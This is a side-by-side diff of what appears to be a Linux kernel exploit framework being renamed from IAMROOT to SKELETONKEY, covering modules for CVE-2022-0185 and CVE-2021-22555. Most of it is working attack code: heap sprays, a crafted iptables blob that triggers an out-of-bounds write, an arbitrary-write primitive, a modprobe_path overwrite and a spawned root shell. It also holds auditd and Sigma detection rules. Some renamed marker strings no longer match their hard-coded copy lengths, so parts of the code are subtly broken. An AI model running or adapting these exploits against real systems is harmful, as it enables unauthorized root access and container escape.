.trigger_armed = true, .trigger_armed = true,
}; };
iamroot_result_t fr = iamroot_finisher_modprobe_path( skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
&off, fuse_arb_write, &ax, !ctx->no_shell); &off, fuse_arb_write, &ax, !ctx->no_shell);
/* Cleanup IPC + mapping regardless of finisher result. The /* Cleanup IPC + mapping regardless of finisher result. The
@@ -783,14 +783,14 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
munmap(spray, sizeof *spray); munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd); if (fsfd >= 0) close(fsfd);
if (fr == IAMROOT_EXPLOIT_OK) { if (fr == SKELETONKEY_EXPLOIT_OK) {
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land " fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
"(arb-write sanity gate or modprobe sentinel refused)\n"); "(arb-write sanity gate or modprobe sentinel refused)\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
#endif /* __linux__ */ #endif /* __linux__ */
@@ -814,16 +814,16 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"popping root shell\n"); "popping root shell\n");
} }
if (ctx->no_shell) { if (ctx->no_shell) {
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
execl("/bin/sh", "sh", "-i", (char *)NULL); execl("/bin/sh", "sh", "-i", (char *)NULL);
perror("execl /bin/sh"); perror("execl /bin/sh");
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail " fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
"not wired — see source for the missing offsets.\n"); "not wired — see source for the missing offsets.\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
@@ -832,13 +832,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static const char fuse_legacy_auditd[] = static const char fuse_legacy_auditd[] =
"# CVE-2022-0185 — auditd detection rules\n" "# CVE-2022-0185 — auditd detection rules\n"
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n" "# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n" "-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n" "-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n"; "-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
static const char fuse_legacy_sigma[] = static const char fuse_legacy_sigma[] =
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n" "title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
"id: 9e1b2c45-iamroot-fuse-legacy\n" "id: 9e1b2c45-skeletonkey-fuse-legacy\n"
"status: experimental\n" "status: experimental\n"
"description: |\n" "description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n" " Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -856,7 +856,7 @@ static const char fuse_legacy_sigma[] =
"level: high\n" "level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n"; "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
const struct iamroot_module fuse_legacy_module = { const struct skeletonkey_module fuse_legacy_module = {
.name = "fuse_legacy", .name = "fuse_legacy",
.cve = "CVE-2022-0185", .cve = "CVE-2022-0185",
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE", .summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
@@ -872,7 +872,7 @@ const struct iamroot_module fuse_legacy_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_fuse_legacy(void) void skeletonkey_register_fuse_legacy(void)
{ {
iamroot_register(&fuse_legacy_module); skeletonkey_register(&fuse_legacy_module);
} }
@@ -0,0 +1,12 @@
/*
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
*/
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module fuse_legacy_module;
#endif
@@ -18,7 +18,7 @@ Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
4.9.266 / 4.4.266. 4.9.266 / 4.4.266.
## IAMROOT role ## SKELETONKEY role
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt` Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg `IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
@@ -1,12 +0,0 @@
/*
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module netfilter_xtcompat_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* netfilter_xtcompat_cve_2021_22555 IAMROOT module * netfilter_xtcompat_cve_2021_22555 SKELETONKEY module
* *
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit * Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
* compat handler for iptables rule export wrote up to 4 bytes * compat handler for iptables rule export wrote up to 4 bytes
@@ -26,18 +26,18 @@
* - Trigger sequence: hand-rolled iptables rule blob with * - Trigger sequence: hand-rolled iptables rule blob with
* malformed xt_entry_target offset; setsockopt fires the OOB. * malformed xt_entry_target offset; setsockopt fires the OOB.
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and * - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
* sk_buff sprays via socketpair+sendmmsg, both with IAMROOT * sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
* cookies for KASAN visibility. * cookies for KASAN visibility.
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo * - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
* diff + /tmp/iamroot-xtcompat.log breadcrumb. * diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
* - With --full-chain: shared finisher (core/finisher.c) is * - With --full-chain: shared finisher (core/finisher.c) is
* invoked to perform the modprobe_path overwrite + execve * invoked to perform the modprobe_path overwrite + execve
* unknown-binary trigger. Requires modprobe_path resolution * unknown-binary trigger. Requires modprobe_path resolution
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file * via core/offsets.c (env/kallsyms/System.map). Sentinel-file
* check in the finisher is the empirical witness for the * check in the finisher is the empirical witness for the
* write landing IAMROOT never claims root unless it sees * write landing SKELETONKEY never claims root unless it sees
* the setuid bash drop with mode 4755 + uid 0. * the setuid bash drop with mode 4755 + uid 0.
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after * - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
* the primitive demo (verified-vs-claimed bar). * the primitive demo (verified-vs-claimed bar).
* *
* Affected: kernel 2.6.19+ until backports landed: * Affected: kernel 2.6.19+ until backports landed:
@@ -56,7 +56,7 @@
* (almost always autoload-able on default-config kernels) * (almost always autoload-able on default-config kernels)
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
#include "../../core/offsets.h" #include "../../core/offsets.h"
@@ -94,7 +94,7 @@
#endif #endif
/* ---------- macOS / non-linux build stubs --------------------------- /* ---------- macOS / non-linux build stubs ---------------------------
* IAMROOT modules are dev-built on macOS (clangd / syntax check) and * SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE * run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
* constants are absent on Darwin; stub them so the .c file compiles * constants are absent on Darwin; stub them so the .c file compiles
* cleanly under either toolchain. The actual exploit body is gated * cleanly under either toolchain. The actual exploit body is gated
@@ -152,12 +152,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0; return WIFEXITED(status) && WEXITSTATUS(status) == 0;
} }
static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n"); fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (v.major < 2 || (v.major == 2 && v.minor < 6)) { if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
@@ -165,7 +165,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n", fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
v.release); v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v); bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
@@ -173,7 +173,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release); fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns(); int userns_ok = can_unshare_userns();
@@ -190,14 +190,14 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → " fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
"unprivileged exploit path unreachable\n"); "unprivileged exploit path unreachable\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range " fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
"AND user_ns reachable\n"); "AND user_ns reachable\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ---- Exploit: userns reach + trigger + groom ---------------------- */ /* ---- Exploit: userns reach + trigger + groom ---------------------- */
@@ -252,11 +252,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
struct xtcompat_payload *p = calloc(1, sizeof(*p)); struct xtcompat_payload *p = calloc(1, sizeof(*p));
if (!p) return 0; if (!p) return 0;
p->mtype = 0x42; p->mtype = 0x42;
/* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent- /* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
* slot corruption is recognizable in /tmp/iamroot-xtcompat.log * slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
* and in KASAN/oops dumps. */ * and in KASAN/oops dumps. */
memset(p->buf, 0x41, sizeof p->buf); memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOT2", 8); memcpy(p->buf, "SKELETONKEY2", 8);
int created = 0; int created = 0;
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) { for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
@@ -278,7 +278,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
} }
/* Walk every queue, peek-copy each message (MSG_COPY = read without /* Walk every queue, peek-copy each message (MSG_COPY = read without
* dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2". * dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
* A non-matching prefix is the empirical witness for the OOB write * A non-matching prefix is the empirical witness for the OOB write
* landing in an adjacent slot. Returns the count of corrupted slots. */ * landing in an adjacent slot. Returns the count of corrupted slots. */
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES]) static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
@@ -292,7 +292,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0, ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */); MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
if (n < 0) break; if (n < 0) break;
if (memcmp(p->buf, "IAMROOT2", 8) != 0) { if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
corrupted++; corrupted++;
} }
} }
@@ -324,7 +324,7 @@ static void xtcompat_skb_spray(int iters)
unsigned char *buf = malloc(1800); unsigned char *buf = malloc(1800);
if (!buf) { close(sv[0]); close(sv[1]); return; } if (!buf) { close(sv[0]); close(sv[1]); return; }
memset(buf, 0x41, 1800); memset(buf, 0x41, 1800);
memcpy(buf, "IAMROOTSKB", 10); memcpy(buf, "SKELETONKEYSKB", 10);
struct iovec iov = { .iov_base = buf, .iov_len = 1800 }; struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
struct mmsghdr mm[32]; struct mmsghdr mm[32];
for (int i = 0; i < 32; i++) { for (int i = 0; i < 32; i++) {
@@ -395,10 +395,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)
/* Plant a recognizable marker so a vulnerable kernel's compat /* Plant a recognizable marker so a vulnerable kernel's compat
* decoder reads our crafted entry rather than zeroed memory. * decoder reads our crafted entry rather than zeroed memory.
* Marker is intentionally "IAMROOT\0" so a KASAN report's hex * Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
* dump points back here. */ * dump points back here. */
unsigned char *entry_region = blob + sizeof(*r); unsigned char *entry_region = blob + sizeof(*r);
memcpy(entry_region, "IAMROOTX", 8); memcpy(entry_region, "SKELETONKEYX", 8);
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry). /* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
* Its `u.target_size` field is the lever Andy bends to underflow * Its `u.target_size` field is the lever Andy bends to underflow
* the pad-out write: setting target_size to a value such that * the pad-out write: setting target_size to a value such that
@@ -524,7 +524,7 @@ struct xtcompat_arb_ctx {
uid_t outer_uid; uid_t outer_uid;
gid_t outer_gid; gid_t outer_gid;
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */ /* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
int arb_calls; int arb_calls;
int arb_landed; int arb_landed;
}; };
@@ -541,7 +541,7 @@ static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
if (!p) return 0; if (!p) return 0;
p->mtype = 0x43; p->mtype = 0x43;
memset(p->buf, 0x41, sizeof p->buf); memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOTW", 8); memcpy(p->buf, "SKELETONKEYW", 8);
/* Plant the target address at every 0x800-aligned slot inside /* Plant the target address at every 0x800-aligned slot inside
* the payload, so wherever the kernel's m_list_next sits * the payload, so wherever the kernel's m_list_next sits
* relative to our payload base, the candidate value is present. */ * relative to our payload base, the candidate value is present. */
@@ -640,48 +640,48 @@ static int xtcompat_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ---------------------------------------------- */ /* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
{ {
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */ /* 1. Refuse-gate: re-confirm vulnerability through detect(). */
iamroot_result_t pre = netfilter_xtcompat_detect(ctx); skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
if (pre == IAMROOT_OK && geteuid() == 0) { if (pre == SKELETONKEY_OK && geteuid() == 0) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n"); fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n"); fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (!ctx->authorized) { if (!ctx->authorized) {
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n"); fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
#ifndef __linux__ #ifndef __linux__
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n"); fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
(void)ctx; (void)ctx;
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#else #else
/* Full-chain pre-check: resolve offsets before forking. If /* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early with the manual- * modprobe_path can't be resolved, refuse early with the manual-
* workflow help no point doing the userns + spray + trigger * workflow help no point doing the userns + spray + trigger
* dance if we can't finish. */ * dance if we can't finish. */
struct iamroot_kernel_offsets off; struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false; bool full_chain_ready = false;
if (ctx->full_chain) { if (ctx->full_chain) {
memset(&off, 0, sizeof off); memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off); skeletonkey_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) { if (!skeletonkey_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("netfilter_xtcompat"); skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but " fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n"); "modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
iamroot_offsets_print(&off); skeletonkey_offsets_print(&off);
full_chain_ready = true; full_chain_ready = true;
} }
@@ -705,7 +705,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
pid_t child = fork(); pid_t child = fork();
if (child < 0) { if (child < 0) {
perror("fork"); perror("fork");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (child == 0) { if (child == 0) {
@@ -771,7 +771,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
long post_slab = slab_active_kmalloc_2k(); long post_slab = slab_active_kmalloc_2k();
/* Breadcrumb for post-run triage. */ /* Breadcrumb for post-run triage. */
FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w"); FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
if (log) { if (log) {
fprintf(log, fprintf(log,
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d " "netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
@@ -810,20 +810,20 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
.arb_calls = 0, .arb_calls = 0,
.arb_landed = 0, .arb_landed = 0,
}; };
int fr = iamroot_finisher_modprobe_path(&off, int fr = skeletonkey_finisher_modprobe_path(&off,
xtcompat_arb_write, xtcompat_arb_write,
&arb_ctx, &arb_ctx,
!ctx->no_shell); !ctx->no_shell);
/* If the finisher execve'd a root shell, we never get /* If the finisher execve'd a root shell, we never get
* here. Otherwise it returned EXPLOIT_FAIL / OK. */ * here. Otherwise it returned EXPLOIT_FAIL / OK. */
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a"); FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
if (fl) { if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n", fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed); fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl); fclose(fl);
} }
xtcompat_msgmsg_drain(queues); xtcompat_msgmsg_drain(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35); _exit(35);
} }
/* Primitive-only mode: still NOT root — but it's the /* Primitive-only mode: still NOT root — but it's the
@@ -836,11 +836,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
_exit(30); _exit(30);
} }
/* PARENT: reap child + map exit code → iamroot_result. */ /* PARENT: reap child + map exit code → skeletonkey_result. */
int status = 0; int status = 0;
if (waitpid(child, &status, 0) < 0) { if (waitpid(child, &status, 0) < 0) {
perror("waitpid"); perror("waitpid");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (WIFSIGNALED(status)) { if (WIFSIGNALED(status)) {
@@ -850,14 +850,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
"(crash during trigger — OOB likely fired)\n", sig); "(crash during trigger — OOB likely fired)\n", sig);
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no " fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
"cred-overwrite primitive — returning EXPLOIT_FAIL\n" "cred-overwrite primitive — returning EXPLOIT_FAIL\n"
" See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n"); " See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!WIFEXITED(status)) { if (!WIFEXITED(status)) {
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n", fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
status); status);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int rc = WEXITSTATUS(status); int rc = WEXITSTATUS(status);
@@ -866,25 +866,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc); fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
case 22: case 22:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be " fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n"); "restricted (kernel.msg_max / ulimit -q)\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
case 23: case 23:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — " fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
"exploit path closed\n"); "exploit path closed\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
case 24: case 24:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; " fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
"see preceding errno\n"); "see preceding errno\n");
} }
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
case 30: case 30:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption " fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
@@ -892,19 +892,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive " fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
"may have fired but did not land on sprayed slots)\n"); "may have fired but did not land on sprayed slots)\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
case 31: case 31:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — " fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
"appears patched at runtime (validator)\n"); "appears patched at runtime (validator)\n");
} }
return IAMROOT_OK; return SKELETONKEY_OK;
case 32: case 32:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN " fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
"not effective in userns on this kernel\n"); "not effective in userns on this kernel\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
case 33: case 33:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — " fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
@@ -918,38 +918,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
" attacker-controlled — read-where via msgrcv.\n" " attacker-controlled — read-where via msgrcv.\n"
" 2. Use that leak to find &init_task and\n" " 2. Use that leak to find &init_task and\n"
" modprobe_path in kernel .data — both offsets\n" " modprobe_path in kernel .data — both offsets\n"
" are per-kernel-build and IAMROOT refuses to\n" " are per-kernel-build and SKELETONKEY refuses to\n"
" bake them.\n" " bake them.\n"
" 3. Pivot to a write-where via a fake msg_msgseg\n" " 3. Pivot to a write-where via a fake msg_msgseg\n"
" and overwrite modprobe_path → exec a setuid\n" " and overwrite modprobe_path → exec a setuid\n"
" helper for root pop.\n" " helper for root pop.\n"
" See Andy Nguyen's writeup for the full chain.\n"); " See Andy Nguyen's writeup for the full chain.\n");
} }
if (ctx->no_shell) return IAMROOT_OK; if (ctx->no_shell) return SKELETONKEY_OK;
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
case 34: case 34:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported " fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
"EXPLOIT_OK (sentinel setuid bash dropped)\n"); "EXPLOIT_OK (sentinel setuid bash dropped)\n");
} }
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
case 35: case 35:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned " fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
"FAIL (sentinel not observed within timeout)\n" "FAIL (sentinel not observed within timeout)\n"
" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n"); " See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
default: default:
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc); fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
#endif /* __linux__ */ #endif /* __linux__ */
} }
/* ---- Cleanup ----------------------------------------------------- */ /* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
{ {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n"); fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
@@ -957,10 +957,10 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
/* The msg queues live in the child's IPC namespace which dies /* The msg queues live in the child's IPC namespace which dies
* with the child so the in-process drain already handled them. * with the child so the in-process drain already handled them.
* The /tmp breadcrumb survives, remove it here. */ * The /tmp breadcrumb survives, remove it here. */
